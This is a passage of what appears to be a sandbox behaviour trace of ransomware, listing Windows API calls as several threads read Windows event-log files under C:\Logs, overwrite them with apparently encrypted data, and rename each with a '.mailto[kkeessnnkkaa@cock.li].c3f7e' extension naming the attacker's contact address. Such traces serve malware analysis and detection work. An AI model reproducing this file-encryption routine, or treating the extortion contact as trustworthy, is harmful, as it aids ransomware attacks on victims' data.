	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x84805fd1
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0xe68d81d2
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x366abd0e
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x42188438
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x925f3070
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0xb1760f92
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0xfb24c608
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x6f3139ab
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x8b8416fa
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0xbd7ed3f0
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x1502300d
	[0080.863] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x7d46f2c0
	[0080.864] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x7ec1f79
	[0080.864] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x555e0983
	[0080.864] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x2fc0025c
	[0080.864] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0xc4447d79
	[0080.864] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0x810b33f4
	[0080.864] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0xbf356787
	[0080.864] RtlRandom (in: Seed=0x10e3f9d8 | out: Seed=0x10e3f9d8) returned 0xd1d3ee3
	[0080.870] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77420
	[0080.872] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.872] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772e0
	[0080.872] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.872] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0080.872] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.872] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4907850
	[0080.875] SetFilePointerEx (in: hFile=0x140c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.875] ReadFile (in: hFile=0x140c, lpBuffer=0x4907850, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x10e3f9ac, lpOverlapped=0x0 | out: lpBuffer=0x4907850*, lpNumberOfBytesRead=0x10e3f9ac*=0xc800, lpOverlapped=0x0) returned 1
	[0081.105] SetFilePointerEx (in: hFile=0x140c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33be0
	[0081.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33be0) returned 1
	[0081.107] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fc5ff0
	[0081.110] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33be0
	[0081.110] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.110] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.110] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.110] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.110] WriteFile (in: hFile=0x140c, lpBuffer=0x4fc5ff0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x10e3f9ac, lpOverlapped=0x0 | out: lpBuffer=0x4fc5ff0*, lpNumberOfBytesWritten=0x10e3f9ac*=0xc800, lpOverlapped=0x0) returned 1
	[0084.729] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fc5ff0) returned 1
	[0084.729] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4907850) returned 1
	[0084.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4d) returned 0x2dabdf0
	[0084.729] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4d) returned 0x2dab870
	[0084.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0084.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34488
	[0084.729] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34488) returned 1
	[0084.729] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.730] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0084.730] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x131) returned 0x481e928
	[0084.730] SetFilePointerEx (in: hFile=0x140c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.730] WriteFile (in: hFile=0x140c, lpBuffer=0x481e928*, nNumberOfBytesToWrite=0x131, lpNumberOfBytesWritten=0x10e3fa2c, lpOverlapped=0x0 | out: lpBuffer=0x481e928*, lpNumberOfBytesWritten=0x10e3fa2c*=0x131, lpOverlapped=0x0) returned 1
	[0084.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e928) returned 1
	[0084.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dab870) returned 1
	[0084.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0084.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabdf0) returned 1
	[0084.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33be0) returned 1
	[0084.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340a0) returned 1
	[0084.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77420) returned 1
	[0084.742] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772e0) returned 1
	[0084.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4893880
	[0084.743] wcscpy (in: _Dest=0x4893880, _Source="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx"
	[0084.743] wcscat (in: _Dest=0x4893880, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.743] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x10e3f9e4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481ae88
	[0084.743] NtSetInformationFile (FileHandle=0x140c, IoStatusBlock=0x10e3f9dc, FileInformation=0x481ae88, Length=0xae, FileInformationClass=0xa) returned 0x0
	[0087.783] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0087.783] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4987628) returned 1
	[0087.783] NtQueryInformationFile (in: FileHandle=0x140c, IoStatusBlock=0x10e3f9f0, FileInformation=0x10e3f9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10e3f9f0, FileInformation=0x10e3f9c8) returned 0x0
	[0087.783] NtSetInformationFile (FileHandle=0x140c, IoStatusBlock=0x10e3f9f0, FileInformation=0x10e3f9c8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4893880) returned 1
	[0087.794] FlushFileBuffers (hFile=0x140c) returned 1
	[0092.887] CloseHandle (hObject=0x140c) 

Thread:
	id = 412
	os_tid = 0x1598

	[0076.952] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20
	[0080.450] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", dwFileAttributes=0x20) returned 1
	[0080.450] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9b0
	[0080.450] GetFileSizeEx (in: hFile=0x9b0, lpFileSize=0x10ebf834 | out: lpFileSize=0x10ebf834*=69632) returned 1
	[0080.450] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.450] ReadFile (in: hFile=0x9b0, lpBuffer=0x10ebf7b8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10ebf7b4, lpOverlapped=0x0 | out: lpBuffer=0x10ebf7b8*, lpNumberOfBytesRead=0x10ebf7b4*=0x4, lpOverlapped=0x0) returned 1
	[0080.527] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.527] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.527] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a80
	[0080.527] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0080.527] NtQuerySystemTime (in: CurrentTime=0x10ebf794 | out: CurrentTime=0x10ebf794*=132251868072650725) returned 0x0
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x4503903f
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0xa7884589
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x189e4001
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x6c0c85e4
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x194a5981
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0xfe901176
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x7c7af0ad
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x4425d108
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x9baee11a
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0xa41ff0e3
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x2c1bab71
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x3099b256
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x3a353390
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x4698025c
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0xb93c89a
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0xae90d9a1
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0xb5aed01e
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0xf771f91e
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0xc7d3779d
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x6a0bfc72
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x1541d829
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x5c617379
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x1607c035
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0xa5642f50
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x5f635d51
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0xdd51c64b
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x7a3f9712
	[0080.527] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x202e412a
	[0080.528] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0xc4f876ff
	[0080.528] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0xb46fe4cd
	[0080.528] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x666ed0da
	[0080.528] RtlRandom (in: Seed=0x10ebf7a0 | out: Seed=0x10ebf7a0) returned 0x148f9f3c
	[0080.534] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0080.536] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.536] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0080.536] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.536] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0080.536] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.536] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4702078
	[0080.586] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.586] ReadFile (in: hFile=0x9b0, lpBuffer=0x4702078, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x10ebf774, lpOverlapped=0x0 | out: lpBuffer=0x4702078*, lpNumberOfBytesRead=0x10ebf774*=0xc800, lpOverlapped=0x0) returned 1
	[0081.000] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f20
	[0081.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0081.000] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0081.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x485e030
	[0081.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0081.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d6e250
	[0081.004] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6e250) returned 1
	[0081.007] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0081.007] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.007] WriteFile (in: hFile=0x9b0, lpBuffer=0x485e030*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x10ebf774, lpOverlapped=0x0 | out: lpBuffer=0x485e030*, lpNumberOfBytesWritten=0x10ebf774*=0xc800, lpOverlapped=0x0) returned 1
	[0084.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x485e030) returned 1
	[0084.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4702078) returned 1
	[0084.654] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa1) returned 0x2d5d568
	[0084.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34758) returned 1
	[0084.654] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa1) returned 0x2d5d358
	[0084.654] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34528
	[0084.654] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34550
	[0084.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34550) returned 1
	[0084.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0084.654] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x185) returned 0x2d5c040
	[0084.654] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.654] WriteFile (in: hFile=0x9b0, lpBuffer=0x2d5c040*, nNumberOfBytesToWrite=0x185, lpNumberOfBytesWritten=0x10ebf7f4, lpOverlapped=0x0 | out: lpBuffer=0x2d5c040*, lpNumberOfBytesWritten=0x10ebf7f4*=0x185, lpOverlapped=0x0) returned 1
	[0084.656] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c040) returned 1
	[0084.656] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d358) returned 1
	[0084.656] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0084.656] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d568) returned 1
	[0084.656] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0084.656] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a80) returned 1
	[0084.656] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0084.656] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0084.657] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x2d8a010
	[0084.657] wcscpy (in: _Dest=0x2d8a010, _Source="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx"
	[0084.657] wcscat (in: _Dest=0x2d8a010, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.657] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x10ebf7ac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.657] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x500bdb0
	[0084.659] NtSetInformationFile (FileHandle=0x9b0, IoStatusBlock=0x10ebf7a4, FileInformation=0x500bdb0, Length=0x102, FileInformationClass=0xa) returned 0x0
	[0087.789] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500bdb0) returned 1
	[0087.789] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4779b60) returned 1
	[0087.789] NtQueryInformationFile (in: FileHandle=0x9b0, IoStatusBlock=0x10ebf7b8, FileInformation=0x10ebf790, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10ebf7b8, FileInformation=0x10ebf790) returned 0x0
	[0087.789] NtSetInformationFile (FileHandle=0x9b0, IoStatusBlock=0x10ebf7b8, FileInformation=0x10ebf790, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.800] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8a010) returned 1
	[0087.800] FlushFileBuffers (hFile=0x9b0) returned 1
	[0092.918] CloseHandle (hObject=0x9b0) 

Thread:
	id = 413
	os_tid = 0x159c

	[0076.952] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20
	[0080.488] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.489] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1410
	[0080.489] GetFileSizeEx (in: hFile=0x1410, lpFileSize=0x10f3f7f0 | out: lpFileSize=0x10f3f7f0*=69632) returned 1
	[0080.489] SetFilePointerEx (in: hFile=0x1410, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.489] ReadFile (in: hFile=0x1410, lpBuffer=0x10f3f774, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10f3f770, lpOverlapped=0x0 | out: lpBuffer=0x10f3f774*, lpNumberOfBytesRead=0x10f3f770*=0x4, lpOverlapped=0x0) returned 1
	[0080.490] SetFilePointerEx (in: hFile=0x1410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0080.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0080.490] NtQuerySystemTime (in: CurrentTime=0x10f3f750 | out: CurrentTime=0x10f3f750*=132251868072338223) returned 0x0
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0xaef3d7d2
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x9375577b
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0xead935f6
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x1f127842
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x5015b563
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x8b8a08c2
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x8e254aa8
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x178f54d2
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x34c23833
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x72e58707
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0xcb64de1d
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x4dabda99
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x7bbd8062
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x3069d2a8
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x5f15e393
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x1ec9bb48
	[0080.490] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0xea80998
	[0080.491] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0xfdf27149
	[0080.491] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x52264f4d
	[0080.491] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x5a4ea98d
	[0080.491] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x61c61066
	[0080.491] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0xcca3dbec
	[0080.491] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x2a13e7d0
	[0080.491] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x6be6b838
	[0080.491] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0xd60b6428
	[0080.491] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x7735f3f4
	[0080.491] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x1b333e62
	[0080.491] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x83f7b061
	[0080.491] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x89f36436
	[0080.491] RtlRandom (in: Seed=0x10f3f75c | out: Seed=0x10f3f75c) returned 0x84d91770
